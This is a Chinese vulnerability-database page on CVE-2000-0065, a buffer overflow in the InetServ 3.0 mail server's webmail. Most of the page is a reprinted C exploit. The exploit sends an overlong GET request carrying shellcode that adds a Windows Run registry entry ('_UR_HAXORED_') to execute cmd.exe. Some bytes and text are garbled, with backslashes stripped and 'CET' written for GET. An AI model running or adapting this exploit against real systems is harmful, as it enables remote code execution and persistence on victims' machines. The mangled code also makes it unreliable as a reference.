InetServ 3.0缓冲区溢出漏洞

InetServ 3.0缓冲区溢出漏洞

漏洞ID 1105687 漏洞类型 缓冲区溢出
发布时间 2000-01-17 更新时间 2005-05-02
图片[1]-InetServ 3.0缓冲区溢出漏洞-安全小百科CVE编号 CVE-2000-0065
图片[2]-InetServ 3.0缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200001-043
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/19730
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200001-043
|漏洞详情
InetServ3.0版本存在缓冲区溢出漏洞。远程攻击者可以借助超长CET请求执行命令。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/949/info

InetServ is a freeware mail server for 32 bit Windows systems.

One of the features of this program is webmail, which allows mail to be read from any browser. There is an unchecked buffer in the code that parses the GET requests, and a request of 537 bytes or longer will overwrite the EIP register. This overflow can allow arbitrary code to be run on the machine by a remote attacker.

There are also many other unchecked buffers in the code, each of which could potentially be exploited in this manner.

It should be noted that the webmail interface is an optional feature of A-V Tronics InetServ, and is not enabled by default.
*/

#include "windows.h"
#include "stdio.h"
#include "winsock.h"

#define TARGET_PORT 224
#define TARGET_IP "127.0.0.1"

char aSendBuffer[] =
        "GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
        "AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
        "AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" 
        //mov           eax, 0x12ED21FF
        //sub           al, 0xFF
        //rol           eax, 0x018
        //mov           ebx, eax
        "xB8xFFx1FxEDx12x2CxFFxC1xC0x18x8BxD8" 
        //              xor     ecx, ecx
        //              mov ecx, 0x46
        //LOOP_TOP:
        //              dec             eax
        //              xor             [eax], 0x80
        //              dec             ecx
        //              jnz             LOOP_TOP (75 F9)
        "x33xC9xB1x46x48x80x30x80x49x75xF9" 

        //push  ebx
        "x53" 

        //mov   eax, 77787748
        //mov   edx, 77777777

        "xB8x48x77x78x77" 
        "xBAx77x77x77x77" 

        //xor   eax, edx
        //push  eax
        "x33xC2x50" 

        //xor   eax, eax
        //push  eax
        "x33xC0x50" 

        // mov  eax, 0x77659BAe
        // xor  eax, edx
        // push eax
        "xB8xAEx9Bx65x77x33xC2x50"

        //mov   eax, F7777775
        //xor   eax, edx
        //push  eax
        "xB8x75x77x77xF7" 
        "x33xC2x50" 

        //mov   eax, 7734A77Bh
        //xor   eax, edx
        //call  [eax]
        "xB8x7BxA7x34x77" 
        "x33xC2" 
        "xFFx10" 

        //mov   edi, ebx
        //mov   eax, 0x77659A63
        //xor   eax, edx
        //sub   ebx, eax
        //push  ebx
        //push  eax
        //push  1
        //xor   ecx, ecx
        //push  ecx
        //push  eax
        //push  [edi]
        //mov   eax, 0x7734A777
        //xor   eax, edx
        //call  [eax]
        "x8BxFB" 
        "xBAx77x77x77x77" 
        "xB8x63x9Ax65x77x33xC2" 
        "x2BxD8x53x50" 
        "x6Ax01x33xC9x51" 
        "xB8x70x9Ax65x77" 
        "x33xC2x50" 
        "xFFx37xB8x77xA7x34" 
        "x77x33xC2xFFx10" 

        // halt or jump to somewhere harmless
        "xCC" 
        "AAAAAAAAAAAAAAA" 

        // nop (int 3) 92
        // nop (int 3)
        // jmp
        "x90x90xEBx80xEBxD9xF9x77" 
        /* registry key path "\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" */
        "xDCxD3xCFxC6xD4xD7xC1xD2xC5xDCxCDxE9xE3xF2" 
        "xEFxF3xEFxE6xF4xDCxD7xE9xEExE4xEFxF7xF3xDCxC3" 
        "xF5xF2xF2xE5xEExF4xD6xE5xF2xF3xE9xEFxEExDC" 
        "xD2xF5xEEx80" 
        /* value name "_UR_HAXORED_" */
        "xDFxD5xD2xDFxC8xC1xD8xCFxD2xC5xC4xDFx80" 
        /* the command "cmd.exe /c" */
        "xE3xEDxE4xAExE5xF8xE5xA0xAFxE3x80x80x80x80x80";

int main(int argc, char* argv[])
{
        WSADATA wsaData;
        SOCKET s;
        SOCKADDR_IN sockaddr;

        sockaddr.sin_family = AF_INET;
        if(3 == argc)
        {
                int port = atoi(argv[2]);
                sockaddr.sin_port = htons(port);
        }
        else
        {
                sockaddr.sin_port = htons(TARGET_PORT);
        }
        if(2 <= argc)
        {
                sockaddr.sin_addr.S_un.S_addr = inet_addr(argv[2]);
        }
        else
        {
                sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
        }

        try
        {
                WSAStartup(MAKEWORD(2,0), &wsaData);
                s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if(INVALID_SOCKET == s)
                        throw WSAGetLastError();
                if(SOCKET_ERROR == connect(s, (SOCKADDR *)&sockaddr, sizeof(SOCKADDR)) )
                        throw WSAGetLastError();
                send(s, aSendBuffer, strlen(aSendBuffer), 0);
                closesocket(s);
                WSACleanup();
        }
        catch(int err)
        {
                fprintf(stderr, "error %dn", err);
        }
        return 0;
}
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/a:avtronics:inetserv:3.0*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0065

相关推荐: AN HTTP 1.41e拒绝服务漏洞

AN HTTP 1.41e拒绝服务漏洞 漏洞ID 1202184 漏洞类型 缓冲区溢出 发布时间 2003-12-31 更新时间 2003-12-31 CVE编号 CVE-2003-1270 CNNVD-ID CNNVD-200312-229 漏洞平台 N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享